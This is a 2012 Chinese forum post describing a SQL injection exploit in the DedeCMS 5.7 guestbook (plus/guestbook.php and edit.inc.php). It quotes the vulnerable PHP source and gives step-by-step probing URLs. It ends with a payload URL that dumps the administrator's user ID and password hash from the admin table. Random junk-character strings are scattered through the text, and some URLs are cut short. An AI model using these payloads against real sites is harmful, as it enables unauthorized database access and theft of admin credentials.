找回密码
 立即注册
查看: 4272|回复: 0
打印 上一主题 下一主题

dedecms5.7最新sql注射漏洞利用 guestbook.php

[复制链接]
跳转到指定楼层
楼主
发表于 2012-11-13 13:24:11 | 只看该作者 回帖奖励 |倒序浏览 |阅读模式
影响版本为5.7
1 H8 [; Y  |* Q9 K. \4 b9 \. u/ m. M$ V, C5 D/ Y
漏洞文件edit.inc.php具体代码:
( e0 F7 p( v' P# I( g
: D* Y: Q* E% l4 K< ?php  & @5 Z6 m9 U0 o! U9 T
6 D5 m$ s4 F9 K$ V
if(!defined('DEDEINC')) exit('Request Error!');  
4 H/ d$ [8 a6 V' k2 \) l1 g; e; k$ P* P( g! s" `6 x$ S8 j
   : q) u8 [, }, e0 E: V" Q
; O: v+ u4 _" z* T" W! Y1 u
if(!empty($_COOKIE['GUEST_BOOK_POS'])) $GUEST_BOOK_POS = $_COOKIE['GUEST_BOOK_POS'];  " J1 T% ?) {  {. B
+ H4 J0 @$ h6 ]8 }- a" n
else $GUEST_BOOK_POS = "guestbook.php";  
. J4 u, y# X0 T9 `- g# \, q
6 X6 U  o& M9 I3 A   . @/ u) w5 f3 X0 S7 t8 s
7 ^1 K' v4 j6 ~  e: I/ v, I8 P
$id = intval($id);  
7 x; S( h( x  X- ?) z. W; [* a8 o) i- y" ]) \0 R, C
if(empty($job)) $job='view';  
: L5 M& J( f1 _
. m- o1 D0 k* a! ]7 @4 G   
2 n- ^  Z. N  K6 {" A
& w/ V/ u* t- G' mif($job=='del' && $g_isadmin)  9 W% v/ e3 m7 N# O. b

8 \0 _  x, _8 ?9 E{  ; n5 O9 k5 n0 {# v1 T) Q
0 X' t- I$ h5 ]$ f
$dsql->ExecuteNoneQuery(" DELETE FROM `#@__guestbook` WHERE id='$id' ");  
# Q) }2 h/ X+ z. w; M) V# t+ }# _  H
ShowMsg("成功删除一条留言!", $GUEST_BOOK_POS);  $ a( m1 |) l1 I6 \( V1 m- c4 Y

) W" g" l# ~  o2 Q6 i% [exit();  : k) V! C0 @2 A$ h
) \; A1 e* B& q4 G3 n
}  
6 @5 @2 Q3 I7 o9 \5 @2 [% x3 ]$ S) p
% r1 M5 g5 a9 K6 `5 W7 e( Nelse if($job=='check' && $g_isadmin)  
* H3 p/ i+ p. b* R9 J; E6 G' u
$ u/ p, i/ F+ {- y{  
+ {( {" N9 l6 _) i8 G/ A" S: D4 v, h+ `
$dsql->ExecuteNoneQuery(" UPDATE `#@__guestbook` SET ischeck=1 WHERE id='$id' ");  
6 _- B, g; v! C5 g& y4 M4 U7 d& @( H8 q1 ^. t
ShowMsg("成功审核一条留言!", $GUEST_BOOK_POS);  
% M2 C: J8 @& m$ F# n: q
. ]+ O9 o/ F$ V) G5 U! [exit();  : C8 b& O+ ^$ W' f) r7 ~, l

; b( z/ x: E" \* y}  
% D$ K! U3 {5 T2 \. }' ]  n2 j/ n
, \: ]5 N) u- I$ U  d% n" Xelse if($job=='editok')  
& l1 E9 N0 e& n
& B+ u7 \- D1 t+ L1 d$ Z: T( R& M2 B% S3 k{  
6 E% i$ f; l# w: g* x) G% E! v3 U
6 I5 b8 p4 L+ D0 S. M) R$remsg = trim($remsg);  
5 |/ c9 Y7 Y. [6 S4 m
7 z8 F6 i" S- F& Cif($remsg!='')  * |2 G# T/ Z$ ^1 G
% \/ S0 w& @% V; E- H8 [7 Z) @
{  ( Z0 r* p* `8 K4 H( x" b2 `

9 d# {3 b; {! I( ]7 U# F" n; W//管理员回复不过滤HTML By:Errorera blog:errs.cc  1 q* w" w, }- K% g" L7 K
/ S& f; H* g0 i- \# e
if($g_isadmin)  
4 h# u3 M' P1 x: U. f
! ^6 O! ^, V9 b+ b9 m, ~/ e{  . O; q- g9 A8 H6 u0 |" F

% W; {0 _2 F) `+ i' J* |$msg = "<div class='rebox'>".$msg."</div>\n".$remsg;  
7 A5 P+ x" d) o( M, J2 N8 s  {* T/ O  D6 p# M
//$remsg <br /><font color=red>管理员回复:</font> }  - r7 w) `: l1 [. s4 K5 ~+ j

8 g% p, u" p, F. `, aelse
7 j3 T- N0 V* C
# s6 r8 w6 h7 v/ K. v" e0 ~5 v{  
4 i) _& C& \" Q) r$ x  w  h8 z  f$ \- g
$row = $dsql->GetOne("SELECT msg From `#@__guestbook` WHERE id='$id' ");  
; @+ Z3 j6 G" A, L, C! \5 o) W; j% F( w
$oldmsg = "<div class='rebox'>".addslashes($row['msg'])."</div>\n";  
6 I4 u' H: g; k- w+ x$ X1 O9 g- q
* i1 l- _6 V3 I" h+ g) H" v$remsg = trimMsg(cn_substrR($remsg, 1024), 1);  
2 s- t5 I  a$ s4 v  \( P: z& C9 ]2 R9 e3 z6 \
$msg = $oldmsg.$remsg;  ! Y% `. r. m- p
$ o' }% `: D9 s" v
}  
( |6 E4 I/ @! h, d- l
# `' V- O" |; \+ {, Q}  
5 l' Y& T& `8 N  H; S* n; B3 l$ m* t, x
//这里没有对$msg过滤,导致可以任意注入了By:Errorera home:www.errs.cc  2 y- V- i: U' P

# Q- _% x  L! r/ h1 H! B) g$dsql->ExecuteNoneQuery("UPDATE `#@__guestbook` SET `msg`='$msg', `posttime`='".time()."' WHERE id='$id' ");  
5 w1 `& T9 A5 }' |4 ^0 a/ h3 |+ I) N2 z: j( X6 O
ShowMsg("成功更改或回复一条留言!", $GUEST_BOOK_POS);  ! \5 W6 \* t' A8 c( U/ d0 [, k
4 t, l( e0 n; Q2 i
exit();  % q! ~8 t0 d, h7 ^' k) k

, m8 R. Q; U6 g! Q% c0 W' e8 B}  
9 k9 H. X8 t& s$ q' x7 z$ [" \4 Z$ K( k9 C. I. l0 N
//home:www.errs.cc  
1 N- b% U5 B5 j' M- i  i4 H6 {9 X5 l
if($g_isadmin)  0 O* d1 A+ D3 @& y' B; [; v
! G9 Y. H. a1 ], ]
{  3 N  r2 ?1 h; E* ?* X

$ C% J0 k/ g& F$row = $dsql->GetOne("SELECT * FROM `#@__guestbook` WHERE id='$id'");  # T. J. B  K6 r( O+ {( ]

: q; d: P, w6 }. Srequire_once(DEDETEMPLATE.'/plus/guestbook-admin.htm');  
  v7 O2 g0 u% `0 A
' e9 j  h$ S2 R; \) [3 h}  $ [& j: F  p  m

+ R( m3 j- a4 t# K( a+ helse
5 L& L$ y' Y, E4 g  s$ {- x
6 @8 L) j! r% ~& l% B{  , F1 X7 l" t/ ?" H* U/ a5 M4 L

' o3 b1 w2 Q  r7 ^7 X  t2 b$row = $dsql->GetOne("SELECT id,title FROM `#@__guestbook` WHERE id='$id'");  
$ \% a. B& g5 D1 |/ W+ j- ?, x' u6 Y2 R# [
require_once(DEDETEMPLATE.'/plus/guestbook-user.htm');  + @" y' @1 E+ v* s' T; W2 ~
0 {4 k- ]$ p' i9 ]7 w8 ]# ~" Z
} 漏洞成功需要条件:
* [, r& _7 O* J9 m* ]8 h  \1. php magic_quotes_gpc=off
8 x$ C8 h6 u2 a! [2.漏洞文件存在 plus/guestbook.php dede_guestbook 表当然也要存在。$ D  T5 D( X  u0 j

& l: W: L; G0 X" h6 a# ?0 X" M% s怎么判断是否存在漏洞:
/ N* J/ D- c& J2 n先打开www.xxx.com/plus/guestbook.php 可以看到别人的留言,1 G, u) p1 L! j: {7 A0 Q
然后鼠标放在 [回复/编辑] 上 可以看到别人留言的ID。那么记下ID9 o$ A. F. x$ ?$ `7 }; ~
访问:
8 u+ u! Q* B3 L. ?. I. T* q$ a; J4 Z# g
www.xxx.com/plus/guestbook.php?a ... tok&msg=errs.cc存在的留言ID提交后如果是dede5.7版本的话 会出现 “成功更改或回复一条留言” 那就证明修改成功了
6 S; x5 d' \+ k" x$ v0 s跳回到www.xxx.com/plus/guestbook.php 看下你改的那条留言ID是否变成了 errs.cc’ 如果变成了 那么证5 R0 W: V" s" O* j
; z3 G# \& J% a: U3 _; a) V
9 }! s9 b6 H7 |( d5 `
明漏洞无法利用应为他开启了 php magic_quotes_gpc=off; z& ^' S2 s1 J5 D4 @' i
如果没有修改成功,那留言ID的内容还是以前的 那就证明漏洞可以利用。
2 e& {/ h0 s# B! k那么再次访问
2 v& V) a. e5 H9 x* ~& F+ x, f$ d
* e* D; T+ R6 R: ?" g& M: O# jwww.xxx.com/plus/guestbook.php?a ... ;job=editok&id=存在的留言ID&msg=',msg=user(),email='然后返回,那条留言ID的内容就直接修改成了mysql 的user().7 G0 Q$ F& [2 |* J5 d* D6 l% x4 U5 e
4 Y( S: n. y  j) l0 @; h
大概利用就是这样,大家有兴趣的多研究下!!1 N, K: H0 _8 c+ ~" t

# z7 z/ q# }+ p$ L9 ]  Z$ v$ }3 _3 G7 v8 Y最后补充下,估计有人会说怎么暴管理后台帐户密码,你自己研究下 会知道的。反正绝对可以暴出来(不可以暴出来我就不会发)!!; Z# J/ I0 R1 |) m; D# ~, z
. i* V5 D7 @4 _* C' H0 V
view sourceprint?1 /plus/guestbook.php?action=admin&job=editok&id=146&msg=',msg=@`'`,msg=(selecT CONCAT(userid,0x7c,pwd) fRom `%23@__admin` LIMIT 0,1),email='
回复

使用道具 举报

您需要登录后才可以回帖 登录 | 立即注册

本版积分规则

快速回复 返回顶部 返回列表